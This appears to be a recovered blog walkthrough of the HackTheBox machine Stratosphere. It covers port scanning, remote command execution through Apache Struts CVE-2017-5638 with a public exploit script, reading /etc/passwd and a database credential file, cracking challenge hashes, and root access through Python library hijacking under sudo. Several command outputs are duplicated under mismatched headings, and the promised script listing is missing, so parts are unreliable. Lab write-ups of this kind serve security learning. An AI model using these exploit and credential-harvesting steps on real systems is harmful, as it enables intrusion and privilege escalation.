(recovered from old blog September, 2nd 2019)

The exploitation of this box resides on two things. Exploit a CVE (CVE-2017-5638) and understanding how Python is importing his libraries in order to hijack this method.

But, as a lots of others HTB boxes digging into rabbit holes is very interesting and allows to discover new method and learn/review so much things like hashes cracking and deep system enumeration per example.

ENUMERATION

Nmap

As usual, start with a nmap scan for services & versions on the whole port range (-p-).

root@kali-oscp:~# nmap -sC -sV -oA nmap-stratosphere 10.10.10.64 -p-
        Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2018-04-22 18:47 WAT
        Nmap scan report for 10.10.10.64
        Host is up (0.060s latency).
        Not shown: 65532 filtered ports
        PORT     STATE SERVICE    VERSION
        22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
        | ssh-hostkey: 
        |   2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
        |_  256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
        80/tcp   open  http
        | http-methods: 
        |_  Potentially risky methods: PUT DELETE
        |_http-title: Stratosphere
        8080/tcp open  http-proxy
        | http-methods: 
        |_  Potentially risky methods: PUT DELETE
        |_http-open-proxy: Proxy might be redirecting requests
        |_http-title: Stratosphere
        2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
        ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
        SF-Port80-TCP:V=7.25BETA1%I=7%D=4/22%Time=5ADCCBC6%P=x86_64-pc-linux-gnu%r
        SF:(GetRequest,786,"HTTP/1\.1\x20200\x20\r\nAccept-Ranges:\x20bytes\r\nETa
        SF:g:\x20W/\"1708-1519762495000\"\r\nLast-Modified:\x20Tue,\x2027\x20Feb\x
        SF:202018\x2020:14:55\x20GMT\r\nContent-Type:\x20text/html\r\nContent-Leng
        SF:th:\x201708\r\nDate:\x20Sun,\x2022\x20Apr\x202018\x2017:51:46\x20GMT\r\
        SF:nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x
 ...
        SF:background-color:#525D76;font-size:14px;}\x20body\x20{font-family:Tahom
        SF:a,Arial,sans-serif;color:black;background-color:white;}\x20b\x20{font-f
        SF:amily:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;}\x2
        SF:0p\x20{font-family:Tahoma,Arial,sans-serif;background:white;color:black
        SF:;font-size:12px;}\x20a\x20{color:black;}\x20a\.name\x20{color:black;}\x
        SF:20\.line\x20{height:1px;background-color:#525D76;border:none;}</style><
        SF:/head><body>");
        Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So we have:

  • SSH (22)
  • HTTP server (80)
  • an open http proxy (8080)
  • Linux OS.

WEB ENUMERATION

Fuzzing

Continue with fuzzing on the main webserver. We discovered 2 folders: manager & Monitoring.

root@kali-oscp:~# wfuzz -c --hc 404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt http://10.10.10.64/FUZZ
    000001:  C=200     63 L      153 W     1708 Ch    "# directory-list-2.3-medium.txt"
    000002:  C=200     63 L      153 W     1708 Ch    "#"
    000009:  C=200     63 L      153 W     1708 Ch    "# Suite 300, San Francisco, California, 94105, USA."
    000003:  C=200     63 L      153 W     1708 Ch    "# Copyright 2007 James Fisher"
    000004:  C=200     63 L      153 W     1708 Ch    "#"
    000005:  C=200     63 L      153 W     1708 Ch    "# This work is licensed under the Creative Commons"
    000006:  C=200     63 L      153 W     1708 Ch    "# Attribution-Share Alike 3.0 License. To view a copy of this"
    000007:  C=200     63 L      153 W     1708 Ch    "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
    000008:  C=200     63 L      153 W     1708 Ch    "# or send a letter to Creative Commons, 171 Second Street,"
    000010:  C=200     63 L      153 W     1708 Ch    "#"
    000011:  C=200     63 L      153 W     1708 Ch    "# Priority ordered case sensative list, where entries were found"
    004889:  C=302      0 L        0 W        0 Ch    "manager"
    013290:  C=302      0 L        0 W        0 Ch    "Monitoring"
    ...

Exploring http://10.10.10.64/manager (Tomcat Manager)

Going to http://10.10.10.64/manager reveals that this is a classic tomcat manager user/pass prompt.

Using Metasploit tomcat manager login bruteforcer (use auxiliary/scanner/http/tomcatmgrlogin) for default credentials didn't lead nowhere.

Exploring http://10.10.10.64/monitoring

Redirect to: http://10.10.10.64/Monitoring/example/Welcome.action, that contains 2 links. (Presence of .action in the extension point the fact the we are dealing with Apache Struts (https://struts.apache.org/))


Apache Struts ?


Quick. This is a free, open-source, MVC framework for creating elegant, modern Java web applications. It favors convention over configuration, is extensible using a plugin architecture, and ships with plugins to support REST, AJAX and JSON.

Exploiting Apache Struts

After trying several Metasploit modules, including multi/http/struts2restxstream andexploit/multi/http/strutscodeexec, I found a CVE from 2017 (CVE-2017-5638 -https://github.com/mazen160/struts-pwn)
Using https://github.com/mazen160/struts-pwn.git

Explanation of the exploit

The Jakarta Multipart module on certains version of Apache Struts is not correctly handling exception & error messages generation during the process of uploading a file. This allows an attacker to execute arbitraty commands. More details here (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638).

Check if vulnerability is working

Begin with a simple "id", to check on which user service are running.

root@kali-oscp:~# python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Login_input.action' -c 'id'
        uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)   -> IT WORKS !!!

System Enumeration

Now I can finally start to enumerate the system.


Processes

root@kali-oscp:~# python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Login_input.action' -c 'ps -ef|grep java'
            tomcat8    681     1  0 Apr22 ?        00:01:39 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/var/lib/tomcat8/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -XX:+UseConcMarkSweepGC -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -classpath /usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar -Dcatalina.base=/var/lib/tomcat8 -Dcatalina.home=/usr/share/tomcat8 -Djava.io.tmpdir=/tmp/tomcat8-tomcat8-tmp org.apache.catalina.startup.Bootstrap start

Tomcat users

root@kali-oscp:~# python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Login_input.action' -c 'ps -ef|grep java'
            tomcat8    681     1  0 Apr22 ?        00:01:39 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/var/lib/tomcat8/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -XX:+UseConcMarkSweepGC -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -classpath /usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar -Dcatalina.base=/var/lib/tomcat8 -Dcatalina.home=/usr/share/tomcat8 -Djava.io.tmpdir=/tmp/tomcat8-tomcat8-tmp org.apache.catalina.startup.Bootstrap start

None of these credentials are working on http://10.10.10.64/manager

Back to basics (user enum)

root@kali-oscp:~# python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Login_input.action' -c 'cat /etc/passwd'
        saned:x:114:118::/var/lib/saned:/bin/false
        richard:x:1000:1000:Richard F Smith,,,:/home/richard:/bin/bash
        tomcat8:x:115:119::/var/lib/tomcat8:/bin/bash
        mysql:x:116:120:MySQL Server,,,:/nonexistent:/bin/false

root@kali-oscp:~# python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Login_input.action' -c 'grep richard /etc/group'
        cdrom:x:24:richard
        floppy:x:25:richard
        audio:x:29:pulse,richard
        dip:x:30:richard
        video:x:44:richard
        plugdev:x:46:richard
        netdev:x:108:richard
        lpadmin:x:112:richard
        scanner:x:116:saned,richard
        richard:x:1000:

root@kali-oscp:~# python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Login_input.action' -c 'ls /home/richard/'
      ls: cannot open directory '/home/richard/': Permission denied

And finally, after a loooooong manual enumeration(OS enum + netstat + mysql differents location), I found "/var/lib/tomcat8/dbconnect" file, that looks similar to a /etc/my.cnf.

root@kali-oscp:~# python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Login_input.action' -c 'cat /var/lib/tomcat8/db_connect'
        [ssn]
        user=ssn_admin
        pass=AWs64@on*&

        [users]
        user=admin
        pass=admin

Database enumeration

root@kali-oscp:~# python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Login_input.action' -c 'cat /var/lib/tomcat8/db_connect'
        [ssn]
        user=ssn_admin
        pass=AWs64@on*&

        [users]
        user=admin
        pass=admin

List tables & enumerate it

root@kali-oscp:~# python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Login_input.action' -c 'cat /var/lib/tomcat8/db_connect'
        [ssn]
        user=ssn_admin
        pass=AWs64@on*&

        [users]
        user=admin
        pass=admin

YES !!! And now we have the user password.

root@kali-oscp:~# ssh richard@10.10.10.64   -> WORKS !!!!
richard@stratosphere:~$ cat user.txt 
    e610b2986****************


PRIVILEGES ESCALATION

System Enumeration

Let's start the enumeration of the system drop a LinEnum.sh or simply execute a (sudo -l) as this is what we need in this case.

Possible Sudo PWNAGE!
    -rwxr-x--- 1 root richard 1507 Mar 19 15:23 /home/richard/test.py
        (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py

I didn't have write permission on this script, read only. Here is its content:


Crack Hashes

So executing it, begins some challenges (4 questions), let's do them all !
Question n°1:

richard@stratosphere:~$ python test.py
Q1        Solve: 5af003e100c80923ec04d65933d382cb    

MD5, check on md5hashing if this md5 hash as already been reversed (https://md5hashing.net)

-> kaybboom!



Question n°2:

Q2 Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff
SHA1, same on hashkiller https://paste.hashkiller.co.uk

-> ninjaabisshinobi



Question n°3:

WOW, you're really good at this!
Q3        How about this? 91ae5fc9ecbca9d346225063f23d2bd9

MD4, same on md5hashing(md4 option (https://md5hashing.net)

-> legend72



Question n°4:

OK, OK! I get it. You know how to crack hashes...
Q4        Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943

For this one, we need to use a bruteforce python script to decode the HexDigest for Blake (GitHub - Cracking-Blake-Hash). Change the default hash provided into the script by the one provided by the challenge.

root@kali-oscp:~# python3 crack_blake.py
CRACKED ! : Fhero6610

Back to the challenge ...

You are handsome guy !
sh: 1: /root/success.py: Permission denied

Hum ... cool ... but, except some learning this was not very useful ...


LIBRARY HIJACKING

This is way more simple than that. I need to hijack the way Python is importing libraries. Here is the method to know in which order Python will looks for library to import.

richard@stratosphere:~$ python -c 'import sys;import pprint; pprint.pprint(sys.path)'
['',    <- LOCAL DIR
 '/usr/lib/python35.zip',
 '/usr/lib/python3.5',
 '/usr/lib/python3.5/plat-x86_64-linux-gnu',
 '/usr/lib/python3.5/lib-dynload',
 '/usr/local/lib/python3.5/dist-packages',
 '/usr/lib/python3/dist-packages']

So as the script is importing hashlib library, I only need to create a haslib.py file in the same folder as the script, and include the opening of /root/root.txt into.

richard@stratosphere:~$ more hashlib.py
def md5():
    with open('/root/root.txt', 'r') as f:
      print(f.read())

Then execute:

sudo python /home/richard/test.py
Solve: 5af003e100c80923ec04d65933d382cb
<type anything>

d41d8cd*************************    <- this is the flag